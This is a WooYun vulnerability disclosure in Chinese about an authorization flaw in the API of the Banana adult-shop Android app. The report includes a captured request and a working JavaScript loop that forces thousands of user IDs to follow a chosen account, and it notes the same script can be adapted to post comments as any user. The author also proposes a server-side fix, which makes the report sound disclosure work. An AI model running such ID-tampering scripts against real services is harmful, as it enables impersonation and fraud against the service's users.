当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155078

漏洞标题:Banana情趣商城安卓APP接口未拦截导致任意操作

相关厂商:Banana情趣商城

漏洞作者: DaraW

提交时间:2015-11-23 18:06

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-01-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

接口未做拦截可以执行任意操作

详细说明:

通过Fiddler抓包,可看到关注好友时发起请求的内容和接收的内容:

POST http://interface2.0.ibananas.cn/api/user/addattention.json HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; X9180 Build/KVT49L)
Host: interface2.0.ibananas.cn
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 64
pno=yingyongbao&FriendId=358535&ver=banana_A2.0.1&UserId=347010&


其中FriendId为关注者ID,UserId为被关注者Id;通过修改值可以强制任意用户关注任意用户,写了个刷粉脚本,代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>test</title>
</head>
<body>
<button id="sendPost">发包测试</button>
<script type="text/javascript">
var sendButton = document.getElementById("sendPost");
sendButton.onclick = function() {
for (i = 25000; i < 233333; i++) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304) {
} else {
console.log("unsuccess: " + xhr.status);
}
}
}
xhr.open("post", "http://interface2.0.ibananas.cn/api/user/addattention.json", true);
xhr.send("pno=yingyongbao&FriendId=" + i + "&ver=banana_A2.0.1&UserId=358535&");
}
};
</script>
</body>
</html>


Screenshot_2015-11-22-20-13-34.png

QQ截图20151122193645.png

跑了一会儿,嗯,效果还不错。屌丝逆袭成大V。
然而这并没有结束。
同样获取到评论接口,对应稍微修改脚本即可,强制任意ID发帖。

pinglun.png


ID才是关键,如何获取指定用户ID?看到目标用户后,在进入用户详情页时会会抓取到传输内容中的ID。
更多的就懒得再测试了,后端没有添加拦截,可以随意利用他人ID操作APP内可以进行的操作,发帖,评论,关注好友等等。

漏洞证明:

刷粉脚本,效果图。其他操作仅需稍微修改该脚本即可。

QQ截图20151122202229.png

Screenshot_2015-11-22-20-13-34.png

QQ截图20151122193645.png

pinglun.png


修复方案:

后端添加请求验证,未授权的进行拦截。

版权声明:转载请注明来源 DaraW@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝